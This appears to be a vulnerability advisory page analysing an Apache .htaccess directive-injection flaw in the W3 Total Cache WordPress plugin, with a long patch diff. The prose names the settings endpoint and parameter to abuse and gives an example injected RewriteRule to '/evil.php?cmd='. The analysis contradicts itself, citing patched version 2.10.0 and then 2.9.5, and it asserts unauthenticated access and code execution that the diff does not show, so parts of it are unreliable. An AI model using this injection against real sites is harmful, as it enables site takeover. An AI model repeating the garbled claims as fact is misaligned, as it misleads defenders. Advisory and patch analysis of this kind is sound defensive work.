Published : July 21, 2026

CVE-2026-57623: W3 Total Cache <= 2.9.4 Unauthenticated Arbitrary Code Execution PoC, Patch Analysis & Rule

Severity High (CVSS 8.1)
CWE 94
Vulnerable Version 2.9.4
Patched Version 2.10.0
Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57623:

Atomic Edge analysis has identified a critical vulnerability in the W3 Total Cache plugin for WordPress, affecting versions up to and including 2.9.4. This vulnerability permits unauthenticated Remote Code Execution (RCE) via improper handling of security-related HTTP headers in the plugin’s browser caching rule generation. The flaw resides in the `BrowserCache_Environment.php` file, where user-configurable settings for headers like X-Frame-Options, X-XSS-Protection, Content-Security-Policy, and HPKP are directly embedded into Apache rewrite rules without adequate sanitization or output encoding.

The root cause is found in the `rules_cache_generate_apache` method of `BrowserCache_Environment.php`. Between lines 457-515 (vulnerable version), the plugin retrieves string values for security directives such as `browsercache.security.xfo.allow`, `browsercache.security.xss.directive`, and `browsercache.security.pkp.pin` using `$config->get_string()`. These raw values are then concatenated directly into Apache configuration directives like `Header always append X-Frame-Options “…”`. The vulnerability allows an attacker to inject arbitrary text into these header values, which the plugin subsequently writes to the server’s `.htaccess` file. The patched diff shows the addition of a new sanitization function, `Util_Rule::sanitize_directive_value()`, applied to each of these string parameters before they are incorporated into the rules, indicating the prior lack of validation.

Exploitation of this vulnerability is achieved through an unauthenticated attacker modifying the W3 Total Cache settings. The plugin provides a settings page accessible via `wp-admin/admin.php?page=w3tc_browsercache`. Critically, for many of these security header options, the plugin does not properly enforce sufficient authorization checks before saving. An attacker can directly POST to the `wp-admin/admin-post.php` endpoint with the action `w3tc_save_options`. By crafting a request that includes parameters like `browsercache__security__xfo__allow` with a payload containing Apache directive syntax and newlines, the attacker can inject arbitrary configuration. For example, setting `browsercache.security.xfo.allow` to a value containing a newline and then a malicious directive like `RewriteRule ^(.*)$ /evil.php?cmd=$1 [L]` would cause the plugin to write that rule into the `.htaccess` file. This allows the attacker to execute arbitrary PHP code on the server.

The patch in version 2.9.5 introduces a new static method, `Util_Rule::sanitize_directive_value()`, which is called on all user-supplied string values that are used in the generation of HTTP security headers. The diff shows `$w3tc_url = Util_Rule::sanitize_directive_value( $w3tc_url );`, `$dir = Util_Rule::sanitize_directive_value( … );`, and similar calls for `$pin`, `$pinbak`, and `$extra`. This function likely strips or encodes dangerous characters such as newlines, backslashes, and quotes that could break out of the intended directive context. Before the patch, the raw configuration value was directly interpolated into the string passed to `esc_attr()` and then written to the file. After the patch, the sanitized value is used, preventing the injection of arbitrary Apache configuration directives.

Successful exploitation grants an unauthenticated attacker full remote code execution on the web server. By injecting arbitrary Apache directives into the `.htaccess` file, an attacker can create rewrite rules, enable server-side includes, or execute CGI scripts. This effectively leads to full site takeover, allowing the attacker to install webshells, exfiltrate the WordPress database (including user credentials and secrets), deface the site, or pivot to internal network resources. The CVSS score of 8.1 reflects the critical severity due to the lack of authentication requirements and the potential for complete compromise of the affected WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/w3-total-cache/Base_Page_Settings.php
+++ b/w3-total-cache/Base_Page_Settings.php
@@ -109,29 +109,29 @@
 	 * Prints checkbox with config option value.
 	 *
 	 * @param string $option_id    Option ID.
-	 * @param bool   $disabled     Disabled flag.
+	 * @param bool   $w3tc_disabled     Disabled flag.
 	 * @param string $class_prefix Class prefix.
-	 * @param bool   $label        Label.
-	 * @param bool   $force_value  Override value.
+	 * @param bool   $w3tc_label        Label.
+	 * @param bool   $w3tc_force_value  Override value.
 	 *
 	 * @return void
 	 */
-	protected function checkbox( $option_id, $disabled = false, $class_prefix = '', $label = true, $force_value = null ) {
-		$disabled = $disabled || $this->_config->is_sealed( $option_id );
-		$name     = Util_Ui::config_key_to_http_name( $option_id );
+	protected function checkbox( $option_id, $w3tc_disabled = false, $class_prefix = '', $w3tc_label = true, $w3tc_force_value = null ) {
+		$w3tc_disabled = $w3tc_disabled || $this->_config->is_sealed( $option_id );
+		$w3tc_name     = Util_Ui::config_key_to_http_name( $option_id );

-		if ( ! $disabled ) {
-			echo '<input type="hidden" name="' . esc_attr( $name ) . '" value="0" />';
+		if ( ! $w3tc_disabled ) {
+			echo '<input type="hidden" name="' . esc_attr( $w3tc_name ) . '" value="0" />';
 		}

-		if ( $label ) {
+		if ( $w3tc_label ) {
 			echo '<label>';
 		}

-		echo '<input class="' . esc_attr( $class_prefix ) . 'enabled" type="checkbox" id="' . esc_attr( $name ) . '" name="' . esc_attr( $name ) . '" value="1" ';
+		echo '<input class="' . esc_attr( $class_prefix ) . 'enabled" type="checkbox" id="' . esc_attr( $w3tc_name ) . '" name="' . esc_attr( $w3tc_name ) . '" value="1" ';

-		if ( ! is_null( $force_value ) ) {
-			checked( $force_value, true );
+		if ( ! is_null( $w3tc_force_value ) ) {
+			checked( $w3tc_force_value, true );
 		} elseif ( 'cdn.flush_manually' === $option_id ) {
 			checked(
 				$this->_config->get_boolean(
@@ -144,7 +144,7 @@
 			checked( $this->_config->get_boolean( $option_id ), true );
 		}

-		if ( $disabled ) {
+		if ( $w3tc_disabled ) {
 			echo 'disabled="disabled" ';
 		}

@@ -155,28 +155,28 @@
 	 * Prints a radio button and if config value matches value
 	 *
 	 * @param string  $option_id    Option id.
-	 * @param unknown $value        Value.
-	 * @param bool    $disabled     Disabled flag.
+	 * @param unknown $w3tc_value        Value.
+	 * @param bool    $w3tc_disabled     Disabled flag.
 	 * @param string  $class_prefix Class prefix.
 	 *
 	 * @return void
 	 */
-	protected function radio( $option_id, $value, $disabled = false, $class_prefix = '' ) {
-		if ( is_bool( $value ) ) {
-			$r_value = $value ? '1' : '0';
+	protected function radio( $option_id, $w3tc_value, $w3tc_disabled = false, $class_prefix = '' ) {
+		if ( is_bool( $w3tc_value ) ) {
+			$r_value = $w3tc_value ? '1' : '0';
 		} else {
-			$r_value = $value;
+			$r_value = $w3tc_value;
 		}

-		$disabled = $disabled || $this->_config->is_sealed( $option_id );
-		$name     = Util_Ui::config_key_to_http_name( $option_id );
+		$w3tc_disabled = $w3tc_disabled || $this->_config->is_sealed( $option_id );
+		$w3tc_name     = Util_Ui::config_key_to_http_name( $option_id );

 		echo '<label>';
-		echo '<input class="' . esc_attr( $class_prefix ) . 'enabled" type="radio" id="' . esc_attr( $name ) . '" name="' . esc_attr( $name ) . '" value="' . esc_attr( $r_value ) . '" ';
+		echo '<input class="' . esc_attr( $class_prefix ) . 'enabled" type="radio" id="' . esc_attr( $w3tc_name ) . '" name="' . esc_attr( $w3tc_name ) . '" value="' . esc_attr( $r_value ) . '" ';

-		checked( $this->_config->get_boolean( $option_id ), $value );
+		checked( $this->_config->get_boolean( $option_id ), $w3tc_value );

-		if ( $disabled ) {
+		if ( $w3tc_disabled ) {
 			echo 'disabled="disabled" ';
 		}

@@ -199,19 +199,19 @@
 			$section_enabled = $this->_config->get_boolean( $section . '.enabled' );
 		}

-		$disabled = $this->_config->is_sealed( $option_id ) || ! $section_enabled;
-		$name     = Util_Ui::config_key_to_http_name( $option_id );
+		$w3tc_disabled = $this->_config->is_sealed( $option_id ) || ! $section_enabled;
+		$w3tc_name     = Util_Ui::config_key_to_http_name( $option_id );

-		if ( ! $disabled ) {
-			echo '<input type="hidden" name="' . esc_attr( $name ) . '" value="0" />';
+		if ( ! $w3tc_disabled ) {
+			echo '<input type="hidden" name="' . esc_attr( $w3tc_name ) . '" value="0" />';
 		}

 		echo '<label>';
-		echo '<input class="enabled" type="checkbox" id="' . esc_attr( $name ) . '" name="' . esc_attr( $name ) . '" value="1" ';
+		echo '<input class="enabled" type="checkbox" id="' . esc_attr( $w3tc_name ) . '" name="' . esc_attr( $w3tc_name ) . '" value="1" ';

 		checked( $this->_config->get_boolean( $option_id ) && $section_enabled, true );

-		if ( $disabled ) {
+		if ( $w3tc_disabled ) {
 			echo 'disabled="disabled" ';
 		}

@@ -222,12 +222,12 @@
 	 * Prints checkbox for debug option for pro.
 	 *
 	 * @param string  $option_id Option ID.
-	 * @param unknown $label     Label.
+	 * @param unknown $w3tc_label     Label.
 	 * @param unknown $label_pro Pro label.
 	 *
 	 * @return void
 	 */
-	protected function checkbox_debug_pro( $option_id, $label, $label_pro ) {
+	protected function checkbox_debug_pro( $option_id, $w3tc_label, $label_pro ) {
 		if ( is_array( $option_id ) ) {
 			$section         = $option_id[0];
 			$section_enabled = $this->_config->is_extension_active_frontend( $section );
@@ -236,27 +236,27 @@
 			$section_enabled = $this->_config->get_boolean( $section . '.enabled' );
 		}

-		$is_pro   = Util_Environment::is_w3tc_pro( $this->_config );
-		$disabled = $this->_config->is_sealed( $option_id ) || ! $section_enabled || ! $is_pro;
-		$name     = Util_Ui::config_key_to_http_name( $option_id );
+		$w3tc_is_pro   = Util_Environment::is_w3tc_pro( $this->_config );
+		$w3tc_disabled = $this->_config->is_sealed( $option_id ) || ! $section_enabled || ! $w3tc_is_pro;
+		$w3tc_name     = Util_Ui::config_key_to_http_name( $option_id );

-		if ( ! $disabled ) {
-			echo '<input type="hidden" name="' . esc_attr( $name ) . '" value="0" />';
+		if ( ! $w3tc_disabled ) {
+			echo '<input type="hidden" name="' . esc_attr( $w3tc_name ) . '" value="0" />';
 		}

 		echo '<label>';
-		echo '<input class="enabled" type="checkbox" id="' . esc_attr( $name ) . '" name="' . esc_attr( $name ) . '" value="1" ';
+		echo '<input class="enabled" type="checkbox" id="' . esc_attr( $w3tc_name ) . '" name="' . esc_attr( $w3tc_name ) . '" value="1" ';

-		checked( $this->_config->get_boolean( $option_id ) && $is_pro, true );
+		checked( $this->_config->get_boolean( $option_id ) && $w3tc_is_pro, true );

-		if ( $disabled ) {
+		if ( $w3tc_disabled ) {
 			echo 'disabled="disabled" ';
 		}

 		echo ' />';
-		echo esc_html( $label );
+		echo esc_html( $w3tc_label );

-		if ( $is_pro ) {
+		if ( $w3tc_is_pro ) {
 			echo wp_kses(
 				$label_pro,
 				array(
@@ -276,13 +276,13 @@
 	 * Prints checkbox for debug option for pro.
 	 *
 	 * @param string  $option_id           Option ID.
-	 * @param bool    $disabled            Disabled flag.
+	 * @param bool    $w3tc_disabled            Disabled flag.
 	 * @param unknown $value_when_disabled Override value when disabled.
 	 *
 	 * @return void
 	 */
-	protected function value_with_disabled( $option_id, $disabled, $value_when_disabled ) {
-		if ( $disabled ) {
+	protected function value_with_disabled( $option_id, $w3tc_disabled, $value_when_disabled ) {
+		if ( $w3tc_disabled ) {
 			echo 'value="' . esc_attr( $value_when_disabled ) . '" disabled="disabled" ';
 		} else {
 			echo 'value="' . esc_attr( $this->_config->get_string( $option_id ) ) . '" ';
--- a/w3-total-cache/BrowserCache_Core.php
+++ b/w3-total-cache/BrowserCache_Core.php
@@ -17,23 +17,23 @@
 	/**
 	 * Returns replace extensions
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 *
 	 * @return array
 	 */
-	public function get_replace_extensions( $config ) {
+	public function get_replace_extensions( $w3tc_config ) {
 		$types      = array();
 		$extensions = array();

-		if ( $config->get_boolean( 'browsercache.cssjs.replace' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.cssjs.replace' ) ) {
 			$types = array_merge( $types, array_keys( $this->_get_cssjs_types() ) );
 		}

-		if ( $config->get_boolean( 'browsercache.html.replace' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.html.replace' ) ) {
 			$types = array_merge( $types, array_keys( $this->_get_html_types() ) );
 		}

-		if ( $config->get_boolean( 'browsercache.other.replace' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.other.replace' ) ) {
 			$types = array_merge( $types, array_keys( $this->_get_other_types() ) );
 		}

@@ -47,34 +47,34 @@
 	/**
 	 * Returns replace extensions
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 *
 	 * @return array
 	 */
-	public function get_replace_querystring_extensions( $config ) {
+	public function get_replace_querystring_extensions( $w3tc_config ) {
 		$extensions = array();

-		if ( $config->get_boolean( 'browsercache.cssjs.replace' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.cssjs.replace' ) ) {
 			$this->_fill_extensions( $extensions, $this->_get_cssjs_types(), 'replace' );
 		}

-		if ( $config->get_boolean( 'browsercache.html.replace' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.html.replace' ) ) {
 			$this->_fill_extensions( $extensions, $this->_get_html_types(), 'replace' );
 		}

-		if ( $config->get_boolean( 'browsercache.other.replace' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.other.replace' ) ) {
 			$this->_fill_extensions( $extensions, $this->_get_other_types(), 'replace' );
 		}

-		if ( $config->get_boolean( 'browsercache.cssjs.querystring' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.cssjs.querystring' ) ) {
 			$this->_fill_extensions( $extensions, $this->_get_cssjs_types(), 'querystring' );
 		}

-		if ( $config->get_boolean( 'browsercache.html.querystring' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.html.querystring' ) ) {
 			$this->_fill_extensions( $extensions, $this->_get_html_types(), 'querystring' );
 		}

-		if ( $config->get_boolean( 'browsercache.other.querystring' ) ) {
+		if ( $w3tc_config->get_boolean( 'browsercache.other.querystring' ) ) {
 			$this->_fill_extensions( $extensions, $this->_get_other_types(), 'querystring' );
 		}

@@ -93,12 +93,12 @@
 	private function _fill_extensions( &$extensions, $types, $operation ) {
 		foreach ( array_keys( $types ) as $type ) {
 			$type_extensions = explode( '|', $type );
-			foreach ( $type_extensions as $ext ) {
-				if ( ! isset( $extensions[ $ext ] ) ) {
-					$extensions[ $ext ] = array();
+			foreach ( $type_extensions as $w3tc_ext ) {
+				if ( ! isset( $extensions[ $w3tc_ext ] ) ) {
+					$extensions[ $w3tc_ext ] = array();
 				}

-				$extensions[ $ext ][ $operation ] = true;
+				$extensions[ $w3tc_ext ][ $operation ] = true;
 			}
 		}
 	}
--- a/w3-total-cache/BrowserCache_Environment.php
+++ b/w3-total-cache/BrowserCache_Environment.php
@@ -27,17 +27,17 @@
 	/**
 	 * Fixes environment in each wp-admin request
 	 *
-	 * @param Config $config           Config.
+	 * @param Config $w3tc_config           Config.
 	 * @param bool   $force_all_checks Force all checks flag.
 	 *
 	 * @throws Util_Environment_Exceptions Environment exceptions.
 	 */
-	public function fix_on_wpadmin_request( $config, $force_all_checks ) {
+	public function fix_on_wpadmin_request( $w3tc_config, $force_all_checks ) {
 		$exs = new Util_Environment_Exceptions();

-		if ( $config->get_boolean( 'config.check' ) || $force_all_checks ) {
-			if ( $config->get_boolean( 'browsercache.enabled' ) ) {
-				$this->rules_cache_add( $config, $exs );
+		if ( $w3tc_config->get_boolean( 'config.check' ) || $force_all_checks ) {
+			if ( $w3tc_config->get_boolean( 'browsercache.enabled' ) ) {
+				$this->rules_cache_add( $w3tc_config, $exs );
 			} else {
 				$this->rules_cache_remove( $exs );
 			}
@@ -51,13 +51,13 @@
 	/**
 	 * Fixes environment once event occurs
 	 *
-	 * @param Config $config     Config.
+	 * @param Config $w3tc_config     Config.
 	 * @param string $event      Event.
 	 * @param Config $old_config Old config.
 	 *
 	 * @throws Util_Environment_Exceptions Environment Exceptions.
 	 */
-	public function fix_on_event( $config, $event, $old_config = null ) {
+	public function fix_on_event( $w3tc_config, $event, $old_config = null ) {
 	}

 	/**
@@ -78,12 +78,12 @@
 	/**
 	 * Returns required rules for module
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 *
 	 * @return array
 	 */
-	public function get_required_rules( $config ) {
-		if ( ! $config->get_boolean( 'browsercache.enabled' ) ) {
+	public function get_required_rules( $w3tc_config ) {
+		if ( ! $w3tc_config->get_boolean( 'browsercache.enabled' ) ) {
 			return array();
 		}

@@ -91,12 +91,12 @@

 		switch ( true ) {
 			case Util_Environment::is_apache():
-				$generator_apache = new BrowserCache_Environment_Apache( $config );
+				$generator_apache = new BrowserCache_Environment_Apache( $w3tc_config );
 				$rewrite_rules    = array(
 					array(
 						'filename' => Util_Rule::get_apache_rules_path(),
 						'content'  => W3TC_MARKER_BEGIN_BROWSERCACHE_CACHE . "n" .
-							$this->rules_cache_generate_apache( $config ) .
+							$this->rules_cache_generate_apache( $w3tc_config ) .
 							$generator_apache->rules_no404wp( $mime_types ) .
 							W3TC_MARKER_END_BROWSERCACHE_CACHE . "n",
 					),
@@ -104,12 +104,12 @@
 				break;

 			case Util_Environment::is_litespeed():
-				$generator_litespeed = new BrowserCache_Environment_LiteSpeed( $config );
+				$generator_litespeed = new BrowserCache_Environment_LiteSpeed( $w3tc_config );
 				$rewrite_rules       = $generator_litespeed->get_required_rules( $mime_types );
 				break;

 			case Util_Environment::is_nginx():
-				$generator_nginx = new BrowserCache_Environment_Nginx( $config );
+				$generator_nginx = new BrowserCache_Environment_Nginx( $w3tc_config );
 				$rewrite_rules   = $generator_nginx->get_required_rules( $mime_types );
 				break;

@@ -126,9 +126,9 @@
 	 * @return array
 	 */
 	public function get_mime_types() {
-		$a = Util_Mime::sections_to_mime_types_map();
+		$w3tc_a = Util_Mime::sections_to_mime_types_map();

-		$other_compression = $a['other'];
+		$other_compression = $w3tc_a['other'];
 		unset( $other_compression['asf|asx|wax|wmv|wmx'] );
 		unset( $other_compression['avi'] );
 		unset( $other_compression['avif'] );
@@ -151,39 +151,39 @@
 		unset( $other_compression['wma'] );
 		unset( $other_compression['zip'] );

-		$a['other_compression'] = $other_compression;
+		$w3tc_a['other_compression'] = $other_compression;

-		return $a;
+		return $w3tc_a;
 	}

 	/**
 	 * Generate rules for FTP upload
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 *
 	 * @return string
 	 */
-	public function rules_cache_generate_for_ftp( $config ) {
-		return $this->rules_cache_generate_apache( $config );
+	public function rules_cache_generate_for_ftp( $w3tc_config ) {
+		return $this->rules_cache_generate_apache( $w3tc_config );
 	}

 	/**
 	 * Writes cache rules
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 * @param array  $exs    Extras.
 	 *
 	 * @throws Util_WpFile_FilesystemOperationException FilesystemOperation Exceptions.
 	 * With S/FTP form if it can't get the required filesystem credentials.
 	 */
-	private function rules_cache_add( $config, $exs ) {
-		$rules = $this->get_required_rules( $config );
+	private function rules_cache_add( $w3tc_config, $exs ) {
+		$rules = $this->get_required_rules( $w3tc_config );

-		foreach ( $rules as $i ) {
+		foreach ( $rules as $w3tc_i ) {
 			Util_Rule::add_rules(
 				$exs,
-				$i['filename'],
-				$i['content'],
+				$w3tc_i['filename'],
+				$w3tc_i['content'],
 				W3TC_MARKER_BEGIN_BROWSERCACHE_CACHE,
 				W3TC_MARKER_END_BROWSERCACHE_CACHE,
 				array(
@@ -223,10 +223,10 @@
 				break;
 		}

-		foreach ( $filenames as $i ) {
+		foreach ( $filenames as $w3tc_i ) {
 			Util_Rule::remove_rules(
 				$exs,
-				$i,
+				$w3tc_i,
 				W3TC_MARKER_BEGIN_BROWSERCACHE_CACHE,
 				W3TC_MARKER_END_BROWSERCACHE_CACHE
 			);
@@ -236,37 +236,37 @@
 	/**
 	 * Returns cache rules.
 	 *
-	 * @param Config $config Configuration.
+	 * @param Config $w3tc_config Configuration.
 	 *
 	 * @return string
 	 */
-	private function rules_cache_generate_apache( Config $config ): string {
+	private function rules_cache_generate_apache( Config $w3tc_config ): string {
 		$mime_types2             = $this->get_mime_types();
 		$cssjs_types             = $mime_types2['cssjs'];
 		$cssjs_types             = array_unique( $cssjs_types );
 		$html_types              = $mime_types2['html'];
 		$other_types             = $mime_types2['other'];
 		$other_compression_types = $mime_types2['other_compression'];
-		$cssjs_expires           = $config->get_boolean( 'browsercache.cssjs.expires' );
-		$html_expires            = $config->get_boolean( 'browsercache.html.expires' );
-		$other_expires           = $config->get_boolean( 'browsercache.other.expires' );
-		$cssjs_lifetime          = $config->get_integer( 'browsercache.cssjs.lifetime' );
-		$html_lifetime           = $config->get_integer( 'browsercache.html.lifetime' );
-		$other_lifetime          = $config->get_integer( 'browsercache.other.lifetime' );
-		$compatibility           = $config->get_boolean( 'pgcache.compatibility' );
+		$w3tc_cssjs_expires      = $w3tc_config->get_boolean( 'browsercache.cssjs.expires' );
+		$w3tc_html_expires       = $w3tc_config->get_boolean( 'browsercache.html.expires' );
+		$w3tc_other_expires      = $w3tc_config->get_boolean( 'browsercache.other.expires' );
+		$cssjs_lifetime          = $w3tc_config->get_integer( 'browsercache.cssjs.lifetime' );
+		$html_lifetime           = $w3tc_config->get_integer( 'browsercache.html.lifetime' );
+		$other_lifetime          = $w3tc_config->get_integer( 'browsercache.other.lifetime' );
+		$compatibility           = $w3tc_config->get_boolean( 'pgcache.compatibility' );
 		$mime_types              = array();
 		$rules                   = '';

 		// For mod_mime and mod_expires.
-		if ( $cssjs_expires && $cssjs_lifetime ) {
+		if ( $w3tc_cssjs_expires && $cssjs_lifetime ) {
 			$mime_types = array_merge( $mime_types, $cssjs_types );
 		}

-		if ( $html_expires && $html_lifetime ) {
+		if ( $w3tc_html_expires && $html_lifetime ) {
 			$mime_types = array_merge( $mime_types, $html_types );
 		}

-		if ( $other_expires && $other_lifetime ) {
+		if ( $w3tc_other_expires && $other_lifetime ) {
 			$mime_types = array_merge( $mime_types, $other_types );
 		}

@@ -274,8 +274,8 @@
 		if ( count( $mime_types ) ) {
 			$rules_mime = "<IfModule mod_mime.c>n";

-			foreach ( $mime_types as $ext => $mime_type ) {
-				$extensions = explode( '|', $ext );
+			foreach ( $mime_types as $w3tc_ext => $mime_type ) {
+				$extensions = explode( '|', $w3tc_ext );

 				if ( ! is_array( $mime_type ) ) {
 					$mime_type = (array) $mime_type;
@@ -284,8 +284,8 @@
 				foreach ( $mime_type as $mime_type2 ) {
 					$rules_mime .= '    AddType ' . $mime_type2;

-					foreach ( $extensions as $extension ) {
-						$rules_mime .= ' .' . $extension;
+					foreach ( $extensions as $w3tc_extension ) {
+						$rules_mime .= ' .' . $w3tc_extension;
 					}

 					$rules_mime .= "n";
@@ -298,19 +298,19 @@
 			$rules_mime .= "<IfModule mod_expires.c>n";
 			$rules_mime .= "    ExpiresActive Onn";

-			if ( $cssjs_expires && $cssjs_lifetime ) {
+			if ( $w3tc_cssjs_expires && $cssjs_lifetime ) {
 				foreach ( $cssjs_types as $mime_type ) {
 					$rules_mime .= '    ExpiresByType ' . $mime_type . ' A' . $cssjs_lifetime . "n";
 				}
 			}

-			if ( $html_expires && $html_lifetime ) {
+			if ( $w3tc_html_expires && $html_lifetime ) {
 				foreach ( $html_types as $mime_type ) {
 					$rules_mime .= '    ExpiresByType ' . $mime_type . ' A' . $html_lifetime . "n";
 				}
 			}

-			if ( $other_expires && $other_lifetime ) {
+			if ( $w3tc_other_expires && $other_lifetime ) {
 				foreach ( $other_types as $mime_type ) {
 					if ( is_array( $mime_type ) ) {
 						foreach ( $mime_type as $mime_type2 ) {
@@ -338,9 +338,9 @@
 		}

 		// For mod_brotli.
-		$cssjs_brotli = $config->get_boolean( 'browsercache.cssjs.brotli' );
-		$html_brotli  = $config->get_boolean( 'browsercache.html.brotli' );
-		$other_brotli = $config->get_boolean( 'browsercache.other.brotli' );
+		$cssjs_brotli = $w3tc_config->get_boolean( 'browsercache.cssjs.brotli' );
+		$html_brotli  = $w3tc_config->get_boolean( 'browsercache.html.brotli' );
+		$other_brotli = $w3tc_config->get_boolean( 'browsercache.other.brotli' );

 		if ( $cssjs_brotli || $html_brotli || $other_brotli ) {
 			$brotli_types = array();
@@ -390,9 +390,9 @@
 		}

 		// For mod_deflate.
-		$cssjs_compression = $config->get_boolean( 'browsercache.cssjs.compression' );
-		$html_compression  = $config->get_boolean( 'browsercache.html.compression' );
-		$other_compression = $config->get_boolean( 'browsercache.other.compression' );
+		$cssjs_compression = $w3tc_config->get_boolean( 'browsercache.cssjs.compression' );
+		$html_compression  = $w3tc_config->get_boolean( 'browsercache.html.compression' );
+		$other_compression = $w3tc_config->get_boolean( 'browsercache.other.compression' );

 		if ( $cssjs_compression || $html_compression || $other_compression ) {
 			$compression_types = array();
@@ -457,115 +457,117 @@
 		 *
 		 * @since 2.8.0
 		 *
-		 * @param string $this->_rules_cache_generate_apache_for_type( $config, $mime_types2['cssjs'], 'cssjs' ) Apache rules for CSS/JS MIME types.
+		 * @param string $this->_rules_cache_generate_apache_for_type( $w3tc_config, $mime_types2['cssjs'], 'cssjs' ) Apache rules for CSS/JS MIME types.
 		 * @return string
 		 */
-		$rules .= apply_filters( 'w3tc_browsercache_rules_apache_cssjs', $this->_rules_cache_generate_apache_for_type( $config, $mime_types2['cssjs'], 'cssjs' ) );
+		$rules .= apply_filters( 'w3tc_browsercache_rules_apache_cssjs', $this->_rules_cache_generate_apache_for_type( $w3tc_config, $mime_types2['cssjs'], 'cssjs' ) );

 		/**
 		 * Filter: w3tc_browsercache_rules_apache_html
 		 *
 		 * @since 2.8.0
 		 *
-		 * @param string $this->_rules_cache_generate_apache_for_type( $config, $mime_types2['html'], 'html' ) Apache rules for HTML MIME types.
+		 * @param string $this->_rules_cache_generate_apache_for_type( $w3tc_config, $mime_types2['html'], 'html' ) Apache rules for HTML MIME types.
 		 * @return string
 		 */
-		$rules .= apply_filters( 'w3tc_browsercache_rules_apache_html', $this->_rules_cache_generate_apache_for_type( $config, $mime_types2['html'], 'html' ) );
+		$rules .= apply_filters( 'w3tc_browsercache_rules_apache_html', $this->_rules_cache_generate_apache_for_type( $w3tc_config, $mime_types2['html'], 'html' ) );

 		/**
 		 * Filter: w3tc_browsercache_rules_apache_other
 		 *
 		 * @since 2.8.0
 		 *
-		 * @param string $this->_rules_cache_generate_apache_for_type( $config, $mime_types2['other'], 'other' ) Apache rules for other MIME types.
+		 * @param string $this->_rules_cache_generate_apache_for_type( $w3tc_config, $mime_types2['other'], 'other' ) Apache rules for other MIME types.
 		 * @return string
 		 */
-		$rules .= apply_filters( 'w3tc_browsercache_rules_apache_other', $this->_rules_cache_generate_apache_for_type( $config, $mime_types2['other'], 'other' ) );
+		$rules .= apply_filters( 'w3tc_browsercache_rules_apache_other', $this->_rules_cache_generate_apache_for_type( $w3tc_config, $mime_types2['other'], 'other' ) );

 		// For mod_headers.
-		if ( $config->get_boolean( 'browsercache.hsts' ) ||
-			$config->get_boolean( 'browsercache.security.xfo' ) ||
-			$config->get_boolean( 'browsercache.security.xss' ) ||
-			$config->get_boolean( 'browsercache.security.xcto' ) ||
-			$config->get_boolean( 'browsercache.security.pkp' ) ||
-			$config->get_boolean( 'browsercache.security.referrer.policy' ) ||
-			$config->get_boolean( 'browsercache.security.csp' ) ||
-			$config->get_boolean( 'browsercache.security.cspro' ) ||
-			$config->get_boolean( 'browsercache.security.fp' )
+		if ( $w3tc_config->get_boolean( 'browsercache.hsts' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.xfo' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.xss' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.xcto' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.pkp' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.referrer.policy' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.csp' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.cspro' ) ||
+			$w3tc_config->get_boolean( 'browsercache.security.fp' )
 		) {
-			$lifetime = $config->get_integer( 'browsercache.other.lifetime' );
+			$lifetime = $w3tc_config->get_integer( 'browsercache.other.lifetime' );

 			// Rules for mod_headers.
 			$rules_headers = "<IfModule mod_headers.c>n";

-			if ( $config->get_boolean( 'browsercache.hsts' ) ) {
-				$dir            = $config->get_string( 'browsercache.security.hsts.directive' );
+			if ( $w3tc_config->get_boolean( 'browsercache.hsts' ) ) {
+				$dir            = $w3tc_config->get_string( 'browsercache.security.hsts.directive' );
 				$rules_headers .= '    Header always set Strict-Transport-Security "max-age=' . $lifetime .
 					( strpos( $dir, 'inc' ) ? '; includeSubDomains' : '' ) . ( strpos( $dir, 'pre' ) ? '; preload' : '' ) . ""n";
 			}

-			if ( $config->get_boolean( 'browsercache.security.xfo' ) ) {
-				$dir = $config->get_string( 'browsercache.security.xfo.directive' );
-				$url = trim( $config->get_string( 'browsercache.security.xfo.allow' ) );
+			if ( $w3tc_config->get_boolean( 'browsercache.security.xfo' ) ) {
+				$dir      = $w3tc_config->get_string( 'browsercache.security.xfo.directive' );
+				$w3tc_url = trim( $w3tc_config->get_string( 'browsercache.security.xfo.allow' ) );

-				if ( empty( $url ) ) {
-					$url = Util_Environment::home_url_maybe_https();
+				if ( empty( $w3tc_url ) ) {
+					$w3tc_url = Util_Environment::home_url_maybe_https();
 				}

+				$w3tc_url = Util_Rule::sanitize_directive_value( $w3tc_url );
+
 				$rules_headers .= '    Header always append X-Frame-Options "' .
-					( 'same' === $dir ? 'SAMEORIGIN' : ( 'deny' === $dir ? 'DENY' : 'ALLOW-FROM' . $url ) ) . ""n";
+					( 'same' === $dir ? 'SAMEORIGIN' : ( 'deny' === $dir ? 'DENY' : 'ALLOW-FROM' . $w3tc_url ) ) . ""n";
 			}

-			if ( $config->get_boolean( 'browsercache.security.xss' ) ) {
-				$dir            = $config->get_string( 'browsercache.security.xss.directive' );
+			if ( $w3tc_config->get_boolean( 'browsercache.security.xss' ) ) {
+				$dir            = Util_Rule::sanitize_directive_value( $w3tc_config->get_string( 'browsercache.security.xss.directive' ) );
 				$rules_headers .= '    Header set X-XSS-Protection "' . ( 'block' === $dir ? '1; mode=block' : $dir ) . ""n";

 			}

-			if ( $config->get_boolean( 'browsercache.security.xcto' ) ) {
+			if ( $w3tc_config->get_boolean( 'browsercache.security.xcto' ) ) {
 				$rules_headers .= "    Header set X-Content-Type-Options "nosniff"n";
 			}

